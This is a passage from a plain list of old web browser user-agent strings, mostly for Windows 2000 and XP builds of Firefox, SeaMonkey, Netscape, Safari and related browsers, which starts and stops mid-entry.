rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.9.1) Gecko/20090624 Firefox/3.5 GTB5\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.9.1.11) Gecko/20100701 SeaMonkey/2.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.9.1.17) Gecko/20110123 SeaMonkey/2.0.12\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.9.1.19) Gecko/20110420 SeaMonkey/2.0.14\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.9.1.3) Gecko/20090804 Firefox/3.5.3 Lunascape/5.1.5.19059\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.9.1.3) Gecko/20101227 Firefox/3.6.3\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.9.1b4pre) Gecko/20090419 SeaMonkey/2.0b1pre\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.9.2.30) Gecko/20120217 Firefox/3.6.30 (Palemoon/3.6.30)\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.9.2a1pre) Gecko\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.9.2a1pre) Gecko/20081228 SeaMonkey/2.0a3pre\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.9.2a1pre) Gecko/20090117 Minefield/3.2a1pre\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.9a1) Gecko/20060206 SeaMonkey/1.5a\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.9a1) Gecko/20060506 Minefield/3.0a1\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.9a1) Gecko/20061204 GranParadiso/2.0\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.9a1) Gecko/20061204 GranParadiso/3.0a1\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.9a2pre) Gecko/20061225 Minefield/3.0a2pre\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.9a3) Gecko/20070409 BonEcho/2.0.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.9a3) Gecko/20070409 GranParadiso/2.0.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.9a3) Gecko/20070409 IceWeasel/2.0.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.9a3) Gecko/20070409 Mozilla Firefox/2.0.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.9b2pre) Gecko/2007110913 Minefield/3.0b2pre\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-en) AppleWebKit/533.16 (KHTML, like Gecko) Version/4.1 Safari/533.16\nMozilla/5.0 (Windows; U; Windows NT 5.0; en; rv:1.9.2.17) Gecko/20110414 Thunderbird/3.1.10\nMozilla/5.0 (Windows; U; Windows NT 5.0; en_US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.0; es-AR; rv:1.7.5) Gecko/20060912 Netscape/8.1.2\nMozilla/5.0 (Windows; U; Windows NT 5.0; es-ES; rv:1.7.10) Gecko/20050717 Firefox/1.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.0; es-ES; rv:1.7.12) Gecko/20050915\nMozilla/5.0 (Windows; U; Windows NT 5.0; es-ES; rv:1.7.12) Gecko/20050919 Firefox/1.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.0; es-ES; rv:1.7.8) Gecko/20050511 Firefox/1.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.0; es-ES; rv:1.8) Gecko/20051111 Firefox/1.5\nMozilla/5.0 (Windows; U; Windows NT 5.0; es-ES; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.0; es-ES; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11\nMozilla/5.0 (Windows; U; Windows NT 5.0; es-ES; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.0; es-ES; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.0; es-ES; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.0; es-ES; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2\nMozilla/5.0 (Windows; U; Windows NT 5.0; es-ES; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.0; es-ES; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.0; es-ES; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5\nMozilla/5.0 (Windows; U; Windows NT 5.0; es-ES; rv:1.9.1.7) Gecko/20100111 Thunderbird/3.0.1 ThunderBrowse/3.2.8.1\nMozilla/5.0 (Windows; U; Windows NT 5.0; fi; rv:1.8.1) Gecko/20061010 Firefox/2.0\nMozilla/5.0 (Windows; U; Windows NT 5.0; fi; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5\nMozilla/5.0 (Windows; U; Windows NT 5.0; fr-CA; rv:1.9.1.7) Gecko/20100111 Thunderbird/3.0.1 ThunderBrowse/3.2.8.1\nMozilla/5.0 (Windows; U; Windows NT 5.0; fr-FR; rv:0.9.2) Gecko/20010726 Netscape6/6.1\nMozilla/5.0 (Windows; U; Windows NT 5.0; fr-FR; rv:0.9.4) Gecko/20011019 Netscape6/6.2\nMozilla/5.0 (Windows; U; Windows NT 5.0; fr-FR; rv:0.9.4) Gecko/20011128 Netscape6/6.2.1\nMozilla/5.0 (Windows; U; Windows NT 5.0; fr-FR; rv:0.9.4.1) Gecko/20020314 Netscape6/6.2.2\nMozilla/5.0 (Windows; U; Windows NT 5.0; fr-FR; rv:1.0.0) Gecko/20020530\nMozilla/5.0 (Windows; U; Windows NT 5.0; fr-FR; rv:1.0.1) Gecko/20020823 Netscape/7.0\nMozilla/5.0 (Windows; U; Windows NT 5.0; fr-FR; rv:1.0.2) Gecko/20030208 Netscape/7.02\nMozilla/5.0 (Windows; U; Windows NT 5.0; fr-FR; rv:1.0.2) Gecko/20030208 Netscape/7.02 (ax)\nMozilla/5.0 (Windows; U; Windows NT 5.0; fr-FR; rv:1.1) Gecko/20020826\nMozilla/5.0 (Windows; U; Windows NT 5.0; fr-FR; rv:1.2.1) Gecko/20021130\nMozilla/5.0 (Windows; U; Windows NT 5.0; fr-FR; rv:1.4) Gecko/20030624\nMozilla/5.0 (Windows; U; Windows NT 5.0; fr-FR; rv:1.7.1) Gecko/20040707\nMozilla/5.0 (Windows; U; Windows NT 5.0; fr-FR; rv:1.7.10) Gecko/20050717 Firefox/1.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.0; fr-FR; rv:1.7.12) Gecko/20050919 Firefox/1.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.0; fr-FR; rv:1.7.3) Gecko/20040910\nMozilla/5.0 (Windows; U; Windows NT 5.0; fr-FR; rv:1.7.5) Gecko/20041108 Firefox/1.0\nMozilla/5.0 (Windows; U; Windows NT 5.0; fr-FR; rv:1.7.7) Gecko/20050414 Firefox/1.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.0; fr-FR; rv:1.7.8) Gecko/20050511 Firefox/1.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.0; fr-FR; rv:1.8.1.12) Gecko/20080201 SeaMonkey/1.1.8\nMozilla/5.0 (Windows; U; Windows NT 5.0; fr-FR; rv:1.8.1.17pre) Gecko/20080716 K-Meleon/1.5.0\nMozilla/5.0 (Windows; U; Windows NT 5.0; fr-FR; rv:1.8.1.2) Gecko/20070222 SeaMonkey/1.1.1\nMozilla/5.0 (Windows; U; Windows NT 5.0; fr-FR; rv:1.8.1.2pre) Gecko/20070111 SeaMonkey/1.1\nMozilla/5.0 (Windows; U; Windows NT 5.0; fr; rv:1.7.8) Gecko/20050511\nMozilla/5.0 (Windows; U; Windows NT 5.0; fr; rv:1.8) Gecko/20051111 Firefox/1.5\nMozilla/5.0 (Windows; U; Windows NT 5.0; fr; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.0; fr; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11\nMozilla/5.0 (Windows; U; Windows NT 5.0; fr; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.0; fr; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.0; fr; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8\nMozilla/5.0 (Windows; U; Windows NT 5.0; fr; rv:1.8.1) Gecko/20061010 Firefox/2.0\nMozilla/5.0 (Windows; U; Windows NT 5.0; fr; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.0; fr; rv:1.8.1.10) Gecko/20071115 Firefox/2.0.0.10\nMozilla/5.0 (Windows; U; Windows NT 5.0; fr; rv:1.8.1.17) Gecko/20080829 Firefox/2.0.0.17\nMozilla/5.0 (Windows; U; Windows NT 5.0; fr; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2\nMozilla/5.0 (Windows; U; Windows NT 5.0; fr; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.0; fr; rv:1.8.1.9pre) Gecko/20071102 Firefox/2.0.0.9 Navigator/9.0.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.0; fr; rv:1.9) Gecko/2008052906 Firefox/3.0\nMozilla/5.0 (Windows; U; Windows NT 5.0; fr; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12\nMozilla/5.0 (Windows; U; Windows NT 5.0; fr; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5\nMozilla/5.0 (Windows; U; Windows NT 5.0; fr; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8\nMozilla/5.0 (Windows; U; Windows NT 5.0; fr; rv:1.9b4pre) Gecko/2008022502 SeaMonkey/2.0a1pre\nMozilla/5.0 (Windows; U; Windows NT 5.0; hu-HU; rv:1.7.12) Gecko/20050919 Firefox/1.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.0; it-IT; rv:0.9.2) Gecko/20010726 Netscape6/6.1\nMozilla/5.0 (Windows; U; Windows NT 5.0; it-IT; rv:0.9.4.1) Gecko/20020508 Netscape6/6.2.3\nMozilla/5.0 (Windows; U; Windows NT 5.0; it-IT; rv:1.7.12) Gecko/20050915\nMozilla/5.0 (Windows; U; Windows NT 5.0; it-IT; rv:1.7.12) Gecko/20050919 Firefox/1.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.0; it-IT; rv:1.7.5) Gecko/20041110 Firefox/1.0\nMozilla/5.0 (Windows; U; Windows NT 5.0; it; rv:1.8) Gecko/20051111 Firefox/1.5\nMozilla/5.0 (Windows; U; Windows NT 5.0; it; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.0; it; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11\nMozilla/5.0 (Windows; U; Windows NT 5.0; it; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.0; it; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.0; it; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9\nMozilla/5.0 (Windows; U; Windows NT 5.0; it; rv:1.8.1) Gecko/20061010 Firefox/2.0\nMozilla/5.0 (Windows; U; Windows NT 5.0; it; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2\nMozilla/5.0 (Windows; U; Windows NT 5.0; it; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.0; it; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.0; it; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.0; it; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.0; ja-JP) AppleWebKit/529 (KHTML, like Gecko, Safari/529.0) Lunascape/4.9.9.96\nMozilla/5.0 (Windows; U; Windows NT 5.0; ja-JP; rv:1.0.2) Gecko/20021120 Netscape/7.01\nMozilla/5.0 (Windows; U; Windows NT 5.0; ja; rv:1.8.1) Gecko/20061010 Firefox/2.0\nMozilla/5.0 (Windows; U; Windows NT 5.0; ja; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.0; ja; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12\nMozilla/5.0 (Windows; U; Windows NT 5.0; ja; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.0; ja; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.0; ja; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.0; ja; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7 GTB5\nMozilla/5.0 (Windows; U; Windows NT 5.0; ja; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8\nMozilla/5.0 (Windows; U; Windows NT 5.0; ja; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 GTB5\nMozilla/5.0 (Windows; U; Windows NT 5.0; ja; rv:1.9.1.10) Gecko/20100624 Firefox/3.5.10 Lunascape/6.1.7.21880\nMozilla/5.0 (Windows; U; Windows NT 5.0; nl; rv:1.8) Gecko/20051111 Firefox/1.5\nMozilla/5.0 (Windows; U; Windows NT 5.0; nl; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.0; nl; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9\nMozilla/5.0 (Windows; U; Windows NT 5.0; nl; rv:1.9.1b3pre) Gecko/20081218 Shiretoko/3.1b3pre\nMozilla/5.0 (Windows; U; Windows NT 5.0; pl-PL; rv:1.7.12) Gecko/20050919 Firefox/1.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.0; pl; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11\nMozilla/5.0 (Windows; U; Windows NT 5.0; pl; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.0; pl; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11\nMozilla/5.0 (Windows; U; Windows NT 5.0; pl; rv:1.9) Gecko/2008052906 Firefox/3.0\nMozilla/5.0 (Windows; U; Windows NT 5.0; pt-BR; rv:1.0.1) Gecko/20020823 Netscape/7.0\nMozilla/5.0 (Windows; U; Windows NT 5.0; pt-BR; rv:1.7.5) Gecko/20041118 Firefox/1.0\nMozilla/5.0 (Windows; U; Windows NT 5.0; ro-RO; rv:1.7.8) Gecko/20050511 Firefox/1.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.12) Gecko/20050915\nMozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.5) Gecko/20041108 Firefox/1.0\nMozilla/5.0 (Windows; U; Windows NT 5.0; ru; rv:1.8) Gecko/20051111 Firefox/1.5\nMozilla/5.0 (Windows; U; Windows NT 5.0; ru; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.0; ru; rv:1.9.1.13) Gecko/20100914 Firefox/3.5.13\nMozilla/5.0 (Windows; U; Windows NT 5.0; ru; rv:1.9.2.13) Gecko/20101203 IceWeasel/2.0.0.11 Mnenhy/0.8.3\nMozilla/5.0 (Windows; U; Windows NT 5.0; rv:1.7.3) Gecko/20040913 Firefox/0.10\nMozilla/5.0 (Windows; U; Windows NT 5.0; rv:1.7.3) Gecko/20040913 Firefox/0.10.1\nMozilla/5.0 (Windows; U; Windows NT 5.0; rv:1.7.3) Gecko/20041001 Firefox/0.10.1\nMozilla/5.0 (Windows; U; Windows NT 5.0; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.0; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.0; sv-SE; rv:1.7.10) Gecko/20050717 Firefox/1.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.0; sv-SE; rv:1.7.12) Gecko/20050919 Firefox/1.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.0; sv-SE; rv:1.8) Gecko/20051107 Firefox/1.5\nMozilla/5.0 (Windows; U; Windows NT 5.0; sv-SE; rv:1.8.1) Gecko/20061010 Firefox/2.0\nMozilla/5.0 (Windows; U; Windows NT 5.0; sv-SE; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12\nMozilla/5.0 (Windows; U; Windows NT 5.0; tr; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.0; zh-CN; rv:1.7.5) Gecko/20041124 Firefox/1.0\nMozilla/5.0 (Windows; U; Windows NT 5.0; zh-CN; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.0; zh-CN; rv:1.8.1) Gecko/20061010 Firefox/2.0\nMozilla/5.0 (Windows; U; Windows NT 5.0; zh-CN; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.0; zh-CN; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2\nMozilla/5.0 (Windows; U; Windows NT 5.0; zh-TW; rv:1.7.8) Gecko/20050511 Firefox/1.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.0; zh-TW; rv:1.8.0.1) Gecko/20060111 Firefox/0.10\nMozilla/5.0 (Windows; U; Windows NT 5.0; zh-TW; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.0; zh-TW; rv:1.8.1) Gecko/20061010 Firefox/2.0\nMozilla/5.0 (Windows; U; Windows NT 5.0; zh-TW; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.0; zh-TW; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.1 ; x64; en-US; rv:1.9.1b2pre) Gecko/20081026 Firefox/3.1b2pre\nMozilla/5.0 (Windows; U; Windows NT 5.1) AppleWebKit/532.0 (KHTML, like Gecko) Iron/3.0.197.0 Safari/532.0\nMozilla/5.0 (Windows; U; Windows NT 5.1) Gecko/20070309 Firefox/2.0.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.1;  ; rv:1.9.0.14) Gecko/2009082707 Firefox/3.0.14\nMozilla/5.0 (Windows; U; Windows NT 5.1; ) Sundance/0.9x\nMozilla/5.0 (Windows; U; Windows NT 5.1; PL; rv:1.7.12) Gecko/20050915\nMozilla/5.0 (Windows; U; Windows NT 5.1; PL; rv:1.8.1.13) Gecko/20080313 SeaMonkey/1.1.9\nMozilla/5.0 (Windows; U; Windows NT 5.1; PL; rv:1.8.1.15) Gecko/20080621 SeaMonkey/1.1.10\nMozilla/5.0 (Windows; U; Windows NT 5.1; PL; rv:1.8.1.18) Gecko/20081031 SeaMonkey/1.1.13\nMozilla/5.0 (Windows; U; Windows NT 5.1; PL; rv:1.8.1.2) Gecko/20070222 SeaMonkey/1.1.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; RW; rv:1.8.0.7) Gecko/20110321 MultiZilla/4.33.2.6a SeaMonkey/8.6.55\nMozilla/5.0 (Windows; U; Windows NT 5.1; ar; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11\nMozilla/5.0 (Windows; U; Windows NT 5.1; ar; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9\nMozilla/5.0 (Windows; U; Windows NT 5.1; bg-BG; rv:1.7.12) Gecko/20050915 Firefox/1.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; bg-BG; rv:1.9.1b4pre) Gecko/20090307 Shiretoko/3.1b4pre\nMozilla/5.0 (Windows; U; Windows NT 5.1; bg; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.1; bg; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; bg; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; bg; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12\nMozilla/5.0 (Windows; U; Windows NT 5.1; bg; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; bg; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 ( .NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; ca-AD; rv:1.7.12) Gecko/20050919 Firefox/1.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; ca-es) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.20\nMozilla/5.0 (Windows; U; Windows NT 5.1; ca; rv:1.8) Gecko/20051111 Firefox/1.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; ca; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.1; ca; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; ca; rv:1.8.1.10) Gecko/20071115 Firefox/2.0.0.10\nMozilla/5.0 (Windows; U; Windows NT 5.1; ca; rv:1.8.1.16) Gecko/20080708 Thunderbird/2.0.0.16\nMozilla/5.0 (Windows; U; Windows NT 5.1; ca; rv:1.8.1b1) Gecko/20060710 Firefox/2.0b1\nMozilla/5.0 (Windows; U; Windows NT 5.1; cs) AppleWebKit/522.13.1 (KHTML, like Gecko) Version/3.0.2 Safari/522.13.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; cs) AppleWebKit/522.15.5 (KHTML, like Gecko) Version/3.0.3 Safari/522.15.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; cs-CZ) AppleWebKit/525.28.3 (KHTML, like Gecko) Version/3.2.3 Safari/525.29\nMozilla/5.0 (Windows; U; Windows NT 5.1; cs-CZ) AppleWebKit/528+ (KHTML, like Gecko, Safari/528.0) Lunascape/5.1.1.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; cs-CZ) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16\nMozilla/5.0 (Windows; U; Windows NT 5.1; cs-CZ) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; cs-CZ) AppleWebKit/533.3 (KHTML, like Gecko) Lunascape/6.1.0.20995 Safari/533.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; cs-CZ; rv:1.7.10) Gecko/20050717 Firefox/1.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.1; cs-CZ; rv:1.7.12) Gecko/20050919 Firefox/1.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; cs; rv:1.8) Gecko/20051111 Firefox/1.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; cs; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; cs; rv:1.8.0.12) Gecko/20070508 Firefox/1.5.0.12\nMozilla/5.0 (Windows; U; Windows NT 5.1; cs; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; cs; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; cs; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8\nMozilla/5.0 (Windows; U; Windows NT 5.1; cs; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9\nMozilla/5.0 (Windows; U; Windows NT 5.1; cs; rv:1.8.1) Gecko/20061010 Firefox/2.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; cs; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12\nMozilla/5.0 (Windows; U; Windows NT 5.1; cs; rv:1.8.1.18) Gecko/20081029 Firefox/2.0.0.18\nMozilla/5.0 (Windows; U; Windows NT 5.1; cs; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; cs; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; cs; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9\nMozilla/5.0 (Windows; U; Windows NT 5.1; cs; rv:1.9) Gecko/2008052906\nMozilla/5.0 (Windows; U; Windows NT 5.1; cs; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; cs; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; cs; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; cs; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; cs; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.1; cs; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7 FirePHP/0.2.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; cs; rv:1.9.0.8) Gecko/2009032609 Firefox/2.0.0.11 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; cs; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8\nMozilla/5.0 (Windows; U; Windows NT 5.1; cs; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729)\nMozilla/5.0 (Windows; U; Windows NT 5.1; cs; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 FirePHP/0.2.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; cs; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 (.NET CLR 2.0.50727)\nMozilla/5.0 (Windows; U; Windows NT 5.1; cs; rv:1.9.2.20) Gecko/20110803 Firefox/3.6.20\nMozilla/5.0 (Windows; U; Windows NT 5.1; cs; rv:1.9.2.4) Gecko/20100611 Firefox/3.6.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; da) AppleWebKit/522.15.5 (KHTML, like Gecko) Version/3.0.3 Safari/522.15.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; da-DK) AppleWebKit/523.11.1+ (KHTML, like Gecko) Version/3.0.3 Safari/522.15.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; da-DK) AppleWebKit/525.13 (KHTML, like Gecko) Version/3.1 Safari/525.13.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; da-DK; rv:1.7.12) Gecko/20050919 Firefox/1.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; da-DK; rv:1.7.12) Gecko/20050919 Firefox/1.0.7 (ax)\nMozilla/5.0 (Windows; U; Windows NT 5.1; da-DK; rv:1.7.7) Gecko/20050414 Firefox/1.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; da-dk) AppleWebKit/523.15.1 (KHTML, like Gecko) Version/3.0.4 Safari/523.15\nMozilla/5.0 (Windows; U; Windows NT 5.1; da; rv:1.8) Gecko/20051111 Firefox/1.5\nMozilla/5.0 (Windows; U; Windows NT 5.1; da; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.1; da; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2\nMozilla/5.0 (Windows; U; Windows NT 5.1; da; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.1; da; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.1; da; rv:1.8.1) Gecko/20061003 Firefox/2.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; da; rv:1.8.1) Gecko/20061010 Firefox/2.0\nMozilla/5.0 (Windows; U; Windows NT 5.1; da; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.1; da; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9\nMozilla/5.0 (Windows; U; Windows NT 5.1; da; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10\nMozilla/5.0 (Windows; U; Windows NT 5.1; da; rv:1.9.0.8) Gecko/2009032609 